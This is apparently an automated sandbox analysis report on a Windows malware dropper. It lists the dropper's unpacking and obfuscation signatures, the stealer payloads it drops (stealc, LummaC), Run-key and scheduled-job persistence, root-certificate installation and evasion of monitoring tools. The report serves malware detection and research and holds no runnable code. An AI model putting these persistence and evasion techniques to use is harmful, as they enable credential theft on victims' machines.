Source: Binary string: c:\rje\tg\7v\obj\Release\Qrr.pdb source: axplong.exe, 00000006.00000003.3054996905.0000000005F26000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.2999307768.0000000005F2B000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138409494.0000000005F2C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.2998919451.0000000005F23000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\file.exe Unpacked PE file: 0.2.file.exe.d70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ukgzfzxu:EW;svxbhzsv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ukgzfzxu:EW;svxbhzsv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Unpacked PE file: 2.2.axplong.exe.6d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ukgzfzxu:EW;svxbhzsv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ukgzfzxu:EW;svxbhzsv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Unpacked PE file: 3.2.axplong.exe.6d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ukgzfzxu:EW;svxbhzsv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ukgzfzxu:EW;svxbhzsv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Unpacked PE file: 23.2.fidovideorecorder32_64.exe.400000.0.unpack .text:EW;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Unpacked PE file: 23.2.fidovideorecorder32_64.exe.400000.0.unpack
.NET source code contains potential unpacker
Source: neon[1].exe.6.dr, c2YQ.cs .Net Code: o5BJ System.Reflection.Assembly.Load(byte[])
Source: neon.exe.6.dr, c2YQ.cs .Net Code: o5BJ System.Reflection.Assembly.Load(byte[])
Yara detected Costura Assembly Loader
Source: Yara match File source: 36.2.rstxdhuj.exe.6610000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000024.00000002.3164599118.0000000006610000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.3009810672.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Binary contains a suspicious time stamp
Source: newbundle2[1].exe.6.dr Static PE information: 0xEAE6B680 [Fri Nov 19 07:02:24 2094 UTC]
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001BBDF9 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 16_2_001BBDF9
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: newbundle2.exe.6.dr Static PE information: real checksum: 0x0 should be: 0x4f134
Source: gold.exe.6.dr Static PE information: real checksum: 0x0 should be: 0x5aa4a
Source: neon[1].exe.6.dr Static PE information: real checksum: 0x0 should be: 0x38421f
Source: 12dsvc[1].exe.6.dr Static PE information: real checksum: 0x0 should be: 0xe2c06
Source: newbundle2[1].exe.6.dr Static PE information: real checksum: 0x0 should be: 0x4f134
Source: axplong.exe.0.dr Static PE information: real checksum: 0x1e8032 should be: 0x1e8323
Source: rstxdhuj[1].exe.6.dr Static PE information: real checksum: 0x0 should be: 0xfbc7f
Source: file.exe Static PE information: real checksum: 0x1e8032 should be: 0x1e8323
Source: 2a8f2f9086.exe.6.dr Static PE information: real checksum: 0x1e601c should be: 0x1d8601
Source: neon.exe.6.dr Static PE information: real checksum: 0x0 should be: 0x38421f
Source: gold[1].exe.6.dr Static PE information: real checksum: 0x0 should be: 0x5aa4a
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: ukgzfzxu
Source: file.exe Static PE information: section name: svxbhzsv
Source: file.exe Static PE information: section name: .taggant
Source: axplong.exe.0.dr Static PE information: section name:
Source: axplong.exe.0.dr Static PE information: section name: .idata
Source: axplong.exe.0.dr Static PE information: section name:
Source: axplong.exe.0.dr Static PE information: section name: ukgzfzxu
Source: axplong.exe.0.dr Static PE information: section name: svxbhzsv
Source: axplong.exe.0.dr Static PE information: section name: .taggant
Source: 2a8f2f9086.exe.6.dr Static PE information: section name:
Source: 2a8f2f9086.exe.6.dr Static PE information: section name: .idata
Source: 2a8f2f9086.exe.6.dr Static PE information: section name:
Source: 2a8f2f9086.exe.6.dr Static PE information: section name: ewzoukzh
Source: 2a8f2f9086.exe.6.dr Static PE information: section name: eahzsgud
Source: 2a8f2f9086.exe.6.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_0587E090 push es; ret 9_2_0587E0A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_0587C9C0 push es; ret 9_2_0587C9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_0587D871 push es; ret 9_2_0587D880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06B8EFB2 push eax; ret 9_2_06B8EFC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00428E7D push esi; ret 13_2_00428E86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004076E0 push ecx; ret 13_2_004076F3
Source: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Code function: 14_2_00EE7333 push 04EC839Eh; mov dword ptr [esp], edi 14_2_00EE733A
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Code function: 15_2_010047D7 push esi; retf 0002h 15_2_010047DA
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Code function: 15_2_0100AD01 pushfd ; retf 0002h 15_2_0100AD02
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Code function: 15_2_0648E060 push es; ret 15_2_0648E070
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Code function: 15_2_0648ECF2 push eax; ret 15_2_0648ED01
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001AD77C push ecx; ret 16_2_001AD78F
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_0022D77C push ecx; ret 17_2_0022D78F
Source: file.exe Static PE information: section name: entropy: 7.981135166621274
Source: file.exe Static PE information: section name: ukgzfzxu entropy: 7.954114494969637
Source: axplong.exe.0.dr Static PE information: section name: entropy: 7.981135166621274
Source: axplong.exe.0.dr Static PE information: section name: ukgzfzxu entropy: 7.954114494969637
Source: 2a8f2f9086.exe.6.dr Static PE information: section name: entropy: 7.98850986721473
Source: 2a8f2f9086.exe.6.dr Static PE information: section name: ewzoukzh entropy: 7.954562556297656
Source: rstxdhuj[1].exe.6.dr Static PE information: section name: .text entropy: 7.989713684706289
Source: gold[1].exe.6.dr Static PE information: section name: .text entropy: 7.996189613972712
Source: gold.exe.6.dr Static PE information: section name: .text entropy: 7.996189613972712
Source: 12dsvc[1].exe.6.dr Static PE information: section name: .text entropy: 7.999068736163035

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob Jump to behavior
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\gold[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\is-8M782.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\is-S5HN7.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\libssl-1_1.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\is-65AJA.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\uninstall\is-4OQD3.tmp Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\is-NSLMU.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\msvcr71.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\msvcp71.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\stealc_default2[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe File created: C:\Users\user\AppData\Local\Temp\1000065001\stories.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\is-AMTS2.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe File created: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe File created: C:\Users\user\AppData\Roaming\Ylrdnrwcx.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\penis[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe File created: C:\ProgramData\EBook JS Plugin 9.26.47\EBook JS Plugin 9.26.47.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\Qt5OpenGL.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\LummaC222222[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\rstxdhuj[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\needmoney[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\newbundle2[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000354001\c9a37ab27e.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\12dsvc[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\ssleay32.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\neon[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Temp\is-FGF43.tmp\_isetup\_setup64.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\stories[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000065001\stories.exe File created: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000355001\2a8f2f9086.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Temp\is-FGF43.tmp\_isetup\_shfoldr.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\libeay32.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cccc2[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Temp\is-FGF43.tmp\_isetup\_iscrypt.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe File created: C:\Users\user\AppData\Local\Temp\svchost015.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Nework[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\crypted[1].exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\is-0DA5B.tmp Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Roaming\qKLAD7yUjj.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7SII3.tmp\stories.tmp File created: C:\Users\user\AppData\Local\Fido Video Recorder\uninstall\unins000.exe (copy) Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Fido Video Recorder\fidovideorecorder32_64.exe File created: C:\ProgramData\EBook JS Plugin 9.26.47\EBook JS Plugin 9.26.47.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c9a37ab27e.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2a8f2f9086.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ylrdnrwcx
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: Regmonclass Jump to behavior
Creates job files (autostart)
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\Tasks\axplong.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c9a37ab27e.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c9a37ab27e.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2a8f2f9086.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2a8f2f9086.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ylrdnrwcx
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ylrdnrwcx
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
